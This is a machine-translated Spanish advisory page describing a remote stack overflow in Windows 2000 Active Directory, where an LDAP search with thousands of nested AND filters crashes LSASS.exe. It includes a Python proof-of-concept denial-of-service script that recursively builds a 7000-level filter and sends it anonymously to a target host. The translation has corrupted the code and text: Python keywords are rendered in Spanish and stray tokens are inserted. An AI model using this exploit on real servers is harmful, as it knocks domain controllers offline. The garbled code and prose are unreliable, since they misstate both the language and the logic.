Active Directory remoto pila desbordamiento defecto de Microsoft Windows

  

refiere a un programa:
Win2k Active Directory
Descripción:
Microsoft Windows Active Directory remoto pila desbordamiento defecto
detalles:
Windows Active Directory es un componente importante de la arquitectura de Windows 2000 y es un potente sistema de servicios de directorio de Microsoft.

LDAP 3 funciones de las solicitudes de búsqueda de Windows Active Directory usuario envía una solicitud por falta de límites del búfer adecuadas de cheques, un atacante remoto podría explotar esta falla se bloquee el servicio LSASS.exe, provocar un desbordamiento de búfer.

servicios de directorio a través de Active Directory basadas en el protocolo LDAP y almacenamiento de protocolo y el uso y acceso a los objetos de Active Directory. Active Directory mediante LDAP 3 de la solicitud de petición de búsqueda 'hay una función problema, un atacante si se genera más de 1000 " Y " las solicitudes enviadas al servidor, pueden conducir a provocar un desbordamiento de pila, se bloquea el servicio de LSASS.exe, el sistema Reinicie en 30 segundos.


ataque:
Core Security Technologies Avisos ([email protected]) proporciona los siguientes métodos de ensayo: Read

Aquí es un scripts de prueba Python:

------------------------------------ ActiveDirectoryDOS
clase (LDAP):

def __init __ (self):
self._s = ninguno
self.host = '192.168.0.1'
self.basedn = 'dc = bugweek, dc = CoreLabs, dc = núcleo-SDI, dc = com '
self.port = 389
self.buffer =' '
self.msg_id = 1
Ldap .__ init __ ()

def generateFilter_BinaryOp (self, filtro): ..
filterBuffer = asn1.OCTETSTRING (filtro de [1]) encode () + asn1.OCTETSTRING (filtro [2]) encode ()
filterBuffer = self.encapsulateHeader (filtro de [0], filterBuffer) guía de regreso filterBuffer

def generateFilter_RecursiveBinaryOp (sel f, filtro, numTimes):
simpleBinOp = self.generateFilter_BinaryOp (filtro)
filterBuffer = simpleBinOp
para cnt en el rango (0, numTimes):
filterBuffer = self.encapsulateHeader (self.LDAP_FILTER_AND, filterBuffer + simpleBinOp): perfil del regreso filterBuffer

def searchSub (auto, filterBuffer):

self.bindRequest ()
self.searchRequest (filterBuffer)

def ejecutar (auto, host = '', basedn = '', name = ''):

# la máquina no debe existir
machine_name = ' xaxax '

filterComputerNotInDir = (Ldap.LDAP_FILTER_EQUAL99vY,' nombre 'machine_name)

# ejecutar la consulta anónima
de impresión' ejecutar la consulta '
filterBuffer = self.generateFilter_RecursiveBinaryOp (filterComputerNotInDir, 7000)
self.searchSub (filterBuffer)

Copyright © Conocimiento de Windows All Rights Reserved